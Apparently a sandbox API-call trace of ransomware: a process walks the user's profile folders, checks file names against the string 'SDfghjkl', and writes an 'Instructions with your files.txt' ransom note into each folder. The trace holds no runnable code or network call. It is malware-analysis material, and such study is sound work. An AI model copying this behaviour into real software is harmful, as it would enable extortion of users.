[0131.642] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.643] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.644] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.644] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.644] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.644] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.644] CloseHandle (hObject=0x110) returned 1
[0131.644] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.644] GetProcessHeap () returned 0x810000
[0131.644] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.644] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1
[0131.644] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned 56
[0131.644] GetProcessHeap () returned 0x810000
[0131.644] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.644] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*") returned 58
[0131.644] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.646] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\.") returned 58
[0131.646] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.646] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\..") returned 59
[0131.646] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1
[0131.646] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Get Windows Live.url") returned 77
[0131.646] StrStrIW (lpFirst="Get Windows Live.url", lpSrch="SDfghjkl") returned 0x0
[0131.646] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1
[0131.646] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Gallery.url") returned 81
[0131.646] StrStrIW (lpFirst="Windows Live Gallery.url", lpSrch="SDfghjkl") returned 0x0
[0131.646] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Mail.url", cAlternateFileName="WINDOW~1.URL")) returned 1
[0131.646] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Mail.url") returned 78
[0131.646] StrStrIW (lpFirst="Windows Live Mail.url", lpSrch="SDfghjkl") returned 0x0
[0131.646] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 1
[0131.646] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Windows Live Spaces.url") returned 80
[0131.646] StrStrIW (lpFirst="Windows Live Spaces.url", lpSrch="SDfghjkl") returned 0x0
[0131.646] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live Spaces.url", cAlternateFileName="WINDOW~3.URL")) returned 0
[0131.646] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Instructions with your files.txt") returned 89
[0131.646] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\windows live\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.647] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.648] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.648] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.648] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.648] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.648] CloseHandle (hObject=0x110) returned 1
[0131.648] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.648] GetProcessHeap () returned 0x810000
[0131.648] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.648] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0
[0131.648] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Instructions with your files.txt") returned 76
[0131.648] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.649] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.649] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.650] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.650] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0131.650] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.650] CloseHandle (hObject=0x10c) returned 1
[0131.650] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.650] GetProcessHeap () returned 0x810000
[0131.650] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.650] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
[0131.650] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned 39
[0131.650] GetProcessHeap () returned 0x810000
[0131.650] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.650] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*") returned 41
[0131.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0131.651] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\.") returned 41
[0131.651] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0131.651] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.651] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\..") returned 42
[0131.651] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0131.651] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0131.651] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\desktop.ini") returned 51
[0131.651] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0131.651] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1
[0131.651] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Desktop.lnk") returned 51
[0131.651] StrStrIW (lpFirst="Desktop.lnk", lpSrch="SDfghjkl") returned 0x0
[0131.651] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1
[0131.651] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Downloads.lnk") returned 53
[0131.651] StrStrIW (lpFirst="Downloads.lnk", lpSrch="SDfghjkl") returned 0x0
[0131.651] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1
[0131.651] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\RecentPlaces.lnk") returned 56
[0131.651] StrStrIW (lpFirst="RecentPlaces.lnk", lpSrch="SDfghjkl") returned 0x0
[0131.651] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0
[0131.651] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Instructions with your files.txt") returned 72
[0131.651] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\links\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.652] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.652] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.652] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.653] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0131.653] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.653] CloseHandle (hObject=0x10c) returned 1
[0131.653] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.653] GetProcessHeap () returned 0x810000
[0131.653] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.653] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1
[0131.653] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned 48
[0131.653] GetProcessHeap () returned 0x810000
[0131.653] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.653] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*") returned 50
[0131.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="Ȭ癙미\x88翿")) returned 0xffffffff
[0131.653] GetProcessHeap () returned 0x810000
[0131.653] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0131.653] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f8a28b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f8a28b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1
[0131.653] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music") returned 39
[0131.653] GetProcessHeap () returned 0x810000
[0131.653] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x844bb8
[0131.653] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*") returned 41
[0131.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9f8a28b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x9f8a28b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
